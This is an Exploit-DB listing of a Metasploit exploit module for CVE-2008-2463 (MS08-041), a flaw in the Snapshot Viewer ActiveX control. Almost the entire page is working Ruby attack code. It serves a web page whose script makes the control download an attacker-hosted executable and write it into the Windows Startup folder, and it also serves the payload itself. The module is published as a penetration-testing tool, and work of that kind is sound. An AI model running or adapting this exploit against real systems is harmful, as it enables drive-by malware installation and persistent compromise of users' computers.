Snapshot Viewer for Microsoft Access – ActiveX Control Arbitrary File Download (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16605/
  • ##
    # $Id: ms08_041_snapshotviewer.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::EXE
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',
    			'Description'=> %q{
    					This module allows remote attackers to place arbitrary files on a users file system
    				via the Microsoft Office Snapshot Viewer ActiveX Control.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' => [ 'MC' ],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					[ 'CVE', '2008-2463' ],
    					[ 'OSVDB', '46749'],
    					[ 'MSB', 'MS08-041' ],
    					[ 'BID', '30114' ],
    				],
    			'Payload'=>
    				{
    					'Space' => 2048,
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Automatic', { } ],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Jul 07 2008'))
    
    		register_options(
    			[
    				OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
    			], self.class)
    	end
    
    	def autofilter
    		false
    	end
    
    	def check_dependencies
    		use_zlib
    	end
    
    	def on_request_uri(cli, request)
    
    		payload_url ="http://"
    		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
    
    		if (request.uri.match(/payload/))
    			return if ((p = regenerate_payload(cli)) == nil)
    			data = generate_payload_exe({ :code => p.encoded })
    			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
    			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    			return
    		end
    
    		vname= rand_text_alpha(rand(100) + 1)
    		exe= rand_text_alpha(rand(20) + 1)
    
    		content = %Q|
    		<html>
    		<head>
    			<script>
    			try {
    				var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');
    				#{vname}.SnapshotPath = "#{payload_url}";
    				#{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";
    				#{vname}.PrintSnapshot();
    			} catch( e ) { window.location = 'about:blank' ; }
    			</script>
    		</head>
    		</html>
    				|
    
    		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
    
    		send_response_html(cli, content)
    
    		handler(cli)
    
    	end
    
    end